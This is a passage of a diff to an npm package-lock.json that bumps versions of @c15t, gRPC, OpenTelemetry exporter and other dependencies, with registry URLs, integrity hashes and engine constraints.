"sha512-7A4ZxhHk9gdlXmTdPj/lREtP+3u8KvZ4yEN6MYVxBzZGex5Wtdc+CWSbu7btgF6TB0N+MNPrvW7RKBbxJchs/Q==", + "license": "Apache-2.0", + "peerDependencies": { + "@aws-sdk/client-rds-data": ">=3", + "@cloudflare/workers-types": ">=4", + "@electric-sql/pglite": ">=0.2.0", + "@libsql/client": ">=0.10.0", + "@libsql/client-wasm": ">=0.10.0", + "@neondatabase/serverless": ">=0.10.0", + "@op-engineering/op-sqlite": ">=2", + "@opentelemetry/api": "^1.4.1", + "@planetscale/database": ">=1", + "@prisma/client": "*", + "@tidbcloud/serverless": "*", + "@types/better-sqlite3": "*", + "@types/pg": "*", + "@types/sql.js": "*", + "@vercel/postgres": ">=0.8.0", + "@xata.io/client": "*", + "better-sqlite3": ">=7", + "bun-types": "*", + "expo-sqlite": ">=14.0.0", + "gel": ">=2", + "knex": "*", + "kysely": "*", + "mysql2": ">=2", + "pg": ">=8", + "postgres": ">=3", + "sql.js": ">=1", + "sqlite3": ">=5" + }, + "peerDependenciesMeta": { + "@aws-sdk/client-rds-data": { + "optional": true + }, + "@cloudflare/workers-types": { + "optional": true + }, + "@electric-sql/pglite": { + "optional": true + }, + "@libsql/client": { + "optional": true + }, + "@libsql/client-wasm": { + "optional": true + }, + "@neondatabase/serverless": { + "optional": true + }, + "@op-engineering/op-sqlite": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@planetscale/database": { + "optional": true + }, + "@prisma/client": { + "optional": true + }, + "@tidbcloud/serverless": { + "optional": true + }, + "@types/better-sqlite3": { + "optional": true + }, + "@types/pg": { + "optional": true + }, + "@types/sql.js": { + "optional": true + }, + "@vercel/postgres": { + "optional": true + }, + "@xata.io/client": { + "optional": true + }, + "better-sqlite3": { + "optional": true + }, + "bun-types": { + "optional": true + }, + "expo-sqlite": { + "optional": true + }, + "gel": { + "optional": true + }, + "knex": { + "optional": true + }, + "kysely": { + "optional": true + }, + "mysql2": { + "optional": true + }, + "pg": { + "optional": true + }, + "postgres": { + "optional": true + }, + "prisma": { + "optional": true + }, + "sql.js": { + "optional": true + }, + "sqlite3": { + "optional": true + } + } + }, + "node_modules/@c15t/backend/node_modules/zod": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz", + "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" } }, "node_modules/@c15t/react": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.4.4.tgz", - "integrity": "sha512-IwANOzzKsZHTYfJRQGt1JbdZO/GvwaV+y/uQkvqQTzXCcfXClNQc/XneAySuVuXNRSsU5S1vgEJ1JR1g3Os5qQ==", + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.6.1.tgz", + "integrity": "sha512-l5snHHOVbO+uS3IYB4YOi9YJqsU7rpNaboFqTyy7N0uR51d30EkO8rhn8yYtMcVJyxCuiz9f8n+/6YGPW/BJmA==", "license": "GPL-3.0-only", "dependencies": { - "@c15t/node-sdk": "1.4.2", "@radix-ui/react-accordion": "1.2.4", "@radix-ui/react-slot": "1.2.0", "@radix-ui/react-switch": "1.1.4", - "c15t": "1.4.4", + "c15t": "1.6.0", "clsx": "2.1.1", "zustand": "^5.0.3" }, "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc", - "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + "react": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0", + "react-dom": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0" } }, "node_modules/@c15t/translations": { - "version": "1.4.2", - "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.4.2.tgz", - "integrity": "sha512-snPX8HdY0IKLGoW484y5Dy4vwGoReUcpeWKBiYChlzUb3j9vv4F8KO9yrOr9y8sH29Y18l1q+it7Him+31jLqA==", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.6.0.tgz", + "integrity": "sha512-a700vmWWVYH+++0N+Mdwy33fX+O5hJF9QGB6cG5zsmJ8B0ef6XXKQ7DC3xN1Xt+xO0J7fACacDm40ZIxOlxiWg==", "license": "GPL-3.0-only" }, + "node_modules/@clack/core": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/@clack/core/-/core-0.5.0.tgz", + "integrity": "sha512-p3y0FIOwaYRUPRcMO7+dlmLh8PSRcrjuTndsiA0WAFbWES0mLZlrjVoBRZ9DzkPFJZG6KGkJmoEAY0ZcVWTkow==", + "license": "MIT", + "dependencies": { + "picocolors": "^1.0.0", + "sisteransi": "^1.0.5" + } + }, + "node_modules/@clack/prompts": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@clack/prompts/-/prompts-0.11.0.tgz", + "integrity": "sha512-pMN5FcrEw9hUkZA4f+zLlzivQSeQf5dRGJjSUbvVYDLvpKCdQx5OaknvKzgbtXOizhP+SJJJjqEbOe55uKKfAw==", + "license": "MIT", + "dependencies": { + "@clack/core": "0.5.0", + "picocolors": "^1.0.0", + "sisteransi": "^1.0.5" + } + }, "node_modules/@doubletie/logger": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/@doubletie/logger/-/logger-1.0.4.tgz", @@ -188,12 +328,12 @@ "optional": true }, "node_modules/@grpc/grpc-js": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.13.4.tgz", - "integrity": "sha512-GsFaMXCkMqkKIvwCQjCrwH+GHbPKBjhwo/8ZuUkWHqbI73Kky9I+pQltrlT0+MWpedCoosda53lgjYfyEPgxBg==", + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.0.tgz", + "integrity": "sha512-N8Jx6PaYzcTRNzirReJCtADVoq4z7+1KQ4E70jTg/koQiMoUSN1kbNjPOqpPbhMFhfU1/l7ixspPl8dNY+FoUg==", "license": "Apache-2.0", "dependencies": { - "@grpc/proto-loader": "^0.7.13", + "@grpc/proto-loader": "^0.8.0", "@js-sdsl/ordered-map": "^4.4.2" }, "engines": { @@ -201,14 +341,14 @@ } }, "node_modules/@grpc/proto-loader": { - "version": "0.7.15", - "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.7.15.tgz", - "integrity": "sha512-tMXdRCfYVixjuFK+Hk0Q1s38gV9zDiDJfWL3h1rv4Qc39oILCu1TRTDt7+fGUI8K4G1Fj125Hx/ru3azECWTyQ==", + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.0.tgz", + "integrity": "sha512-rc1hOQtjIWGxcxpb9aHAfLpIctjEnsDehj0DAiVfBlmT84uvR0uUtN2hEi/ecvWVjXUGf5qPF4qEgiLOx1YIMQ==", "license": "Apache-2.0", "dependencies": { "lodash.camelcase": "^4.3.0", "long": "^5.0.0", - "protobufjs": "^7.2.5", + "protobufjs": "^7.5.3", "yargs": "^17.7.2" }, "bin": { @@ -1166,6 +1306,67 @@ } } }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "peer": true, + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT", + "peer": true + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "peer": true, + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/@js-sdsl/ordered-map": { "version": "4.4.2", "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz", @@ -1887,6 +2088,18 @@ "node": ">= 10" } }, + "node_modules/@noble/hashes": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", + "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", + "license": "MIT", + "engines": { + "node": "^14.21.3 || >=16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, "node_modules/@openapi-contrib/openapi-schema-to-json-schema": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/@openapi-contrib/openapi-schema-to-json-schema/-/openapi-schema-to-json-schema-3.2.0.tgz", @@ -1898,1112 +2111,1396 @@ } }, "node_modules/@opentelemetry/api": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.8.0.tgz", - "integrity": "sha512-I/s6F7yKUDdtMsoBWXJe8Qz40Tui5vsuKCWJEWVL+5q9sSWRzzx6v2KeNsOBEwd94j0eWkpWCH4yB6rZg9Mf0w==", + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.0.tgz", + "integrity": "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==", "license": "Apache-2.0", "engines": { "node": ">=8.0.0" } }, "node_modules/@opentelemetry/api-logs": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.51.1.tgz", - "integrity": "sha512-E3skn949Pk1z2XtXu/lxf6QAZpawuTM/IUEXcAzpiUkTd73Hmvw26FiN3cJuTmkpM5hZzHwkomVdtrh/n/zzwA==", + "version": "0.207.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.207.0.tgz", + "integrity": "sha512-lAb0jQRVyleQQGiuuvCOTDVspc14nx6XJjP4FspJ1sNARo3Regq4ZZbrc3rN4b1TYSuUCvgH+UXUPug4SLOqEQ==", "license": "Apache-2.0", + "peer": true, "dependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" }, "engines": { - "node": ">=14" + "node": ">=8.0.0" } }, "node_modules/@opentelemetry/context-async-hooks": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-1.24.1.tgz", - "integrity": "sha512-R5r6DO4kgEOVBxFXhXjwospLQkv+sYxwCfjvoZBe7Zm6KKXAV9kDSJhi/D1BweowdZmO+sdbENLs374gER8hpQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.0.1.tgz", + "integrity": "sha512-XuY23lSI3d4PEqKA+7SLtAgwqIfc6E/E9eAQWLN1vlpC53ybO3o6jW4BsXo1xvz9lYyyWItfQDDLzezER01mCw==", "license": "Apache-2.0", "engines": { - "node": ">=14" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/core": { - "version": "1.30.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.30.1.tgz", - "integrity": "sha512-OOCM2C/QIURhJMuKaekP3TRBxBKxG/TWWA0TL2J6nXUtDnuCtccy49LUJF8xPFXMX+0LMcxFpCo8M9cGY1W6rQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "1.28.0" - }, - "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, - "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { - "version": "0.51.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.51.1.tgz", - "integrity": "sha512-P9+Hkszih95ITvldGZ+kXvj9HpD1QfS+PwooyHK72GYA+Bgm+yUSAsDkUkDms8+s9HW6poxURv3LcjaMuBBpVQ==", + "node_modules/@opentelemetry/core": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz", + "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.203.0.tgz", + "integrity": "sha512-g/2Y2noc/l96zmM+g0LdeuyYKINyBwN6FJySoU15LHPLcMN/1a0wNk2SegwKcxrRdE7Xsm7fkIR5n6XFe3QpPw==", "license": "Apache-2.0", "dependencies": { "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "1.24.1", - "@opentelemetry/otlp-grpc-exporter-base": "0.51.1", - "@opentelemetry/otlp-transformer": "0.51.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/sdk-trace-base": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/sdk-logs": "0.203.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": "^1.0.0" + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.203.0.tgz", + "integrity": "sha512-s0hys1ljqlMTbXx2XiplmMJg9wG570Z5lH7wMvrZX6lcODI56sG4HL03jklF63tBeyNwK2RV1/ntXGo3HgG4Qw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.203.0", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/sdk-logs": "0.203.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/api-logs": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz", + "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.203.0.tgz", + "integrity": "sha512-nl/7S91MXn5R1aIzoWtMKGvqxgJgepB/sH9qW0rZvZtabnsjbf8OQ1uSx3yogtvLr0GzwD596nQKz2fV7q2RBw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.203.0", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-logs": "0.203.0", + "@opentelemetry/sdk-trace-base": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/api-logs": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz", + "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.203.0.tgz", + "integrity": "sha512-FCCj9nVZpumPQSEI57jRAA89hQQgONuoC35Lt+rayWY/mzCAc6BQT7RFyFaZKJ2B7IQ8kYjOCPsF/HGFWjdQkQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/exporter-metrics-otlp-http": "0.203.0", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-metrics": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.203.0.tgz", + "integrity": "sha512-HFSW10y8lY6BTZecGNpV3GpoSy7eaO0Z6GATwZasnT4bEsILp8UJXNG5OmEsz4SdwCSYvyCbTJdNbZP3/8LGCQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-metrics": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.203.0.tgz", + "integrity": "sha512-OZnhyd9npU7QbyuHXFEPVm3LnjZYifuKpT3kTnF84mXeEQ84pJJZgyLBpU4FSkSwUkt/zbMyNAI7y5+jYTWGIg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/exporter-metrics-otlp-http": "0.203.0", + "@opentelemetry/otlp-exporter-base": "0.203.0", + "@opentelemetry/otlp-transformer": "0.203.0", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-metrics": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus": { + "version": "0.203.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.203.0.tgz", + "integrity": "sha512-2jLuNuw5m4sUj/SncDf/mFPabUxMZmmYetx5RKIMIQyPnl6G6ooFzfeE8aXNRf8YD1ZXNlCnRPcISxjveGJHNg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/sdk-metrics": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/core": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } 